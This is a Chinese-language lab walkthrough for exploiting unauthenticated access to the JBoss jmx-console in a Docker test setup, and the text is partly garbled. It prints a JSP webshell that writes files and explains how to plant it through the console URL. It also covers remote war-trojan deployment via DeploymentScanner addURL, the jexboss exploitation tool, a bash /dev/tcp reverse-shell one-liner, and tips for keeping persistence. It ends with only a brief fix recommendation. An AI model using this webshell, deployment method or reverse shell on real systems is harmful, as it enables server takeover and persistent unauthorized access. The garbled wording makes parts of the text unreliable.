1、前言java
漏洞缘由:在低版本中,默承认以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码。python
2、环境配置git
使用docker搭建环境github
docker search testjboss #搜索环境web
docker pull testjboss/jboss 选择环境docker
docker run -p 80:8080 -d testjboss/jboss #查看打开的docker环境shell
运行环境,访问http://ip安全
3、漏洞复现bash
方法一:写木马服务器
直接访问jboss控制台
http://192.168.78.129/jmx-console/
写入一句话木马:
url中的参数:arg0表明war包的名称,arg1=文件名称,arg2=文件后缀名,arg3=文件内容
将arg3的值取出来并url解码:
<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>
这个语句的功能是写入文件功,f=文件名,t=文件内容
写入1.txt文件
http://192.168.78.129/August/shell.jsp?f=1.txt&t=hello%20world!
访问1.txt文件
方法二:上传木马
首先制做一个war木马(须要jdk),在java目录下管理员cmd执行:
jar cvf ma.war index.jsp (自备index.jsp马哦,将index.jsp放入java目录下运行)
生成ma.war
将ma.war放在本身的服务器上
Jboxx4.x /jmx-console/ 后台存在未受权访问,进入后台后,可直接部署 war 包Getshell。若需登陆,能够尝试爆破弱口令登陆。
而后找到jboss.deployment(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去(经过 url 的方式远程部署)
找到页面中的void addURL()选项来远程加载war包来部署。
接下来咱们查看是否部署成功
返回到刚进入jmx-console的页面,找到 jboss.web.deployment,以下说明部署成功。若是没显示,多刷新几回页面或者等会儿,直到看到有部署的war包便可
接下来访问木马
成功访问木马
这个目录最多用做临时维持下权限,因此能够把shell传到jmx-console的默认目录来巩固权限
\jboss-4.2.3.GA\server\default\deploy\jmx-console.war
方法三:使用检测工具
检测工具:jexboss,一个使用Python编写的Jboss漏洞检测利用工具,经过它能够检测并利用web-console,jmx-console,JMXInvokerServlet这三个漏洞,而且能够得到一个shell。
下载地址:https://github.com/joaomatosf/jexboss
python2 jexboss.py -u http://ip:port
反弹shell到另外一个kali机上,并在另外一个kali机开启nc监听
bash -i >& /dev/tcp/192.168.78.128/7777 0>&1
4、修复建议
关闭jmx-console和web-console,提升安全性。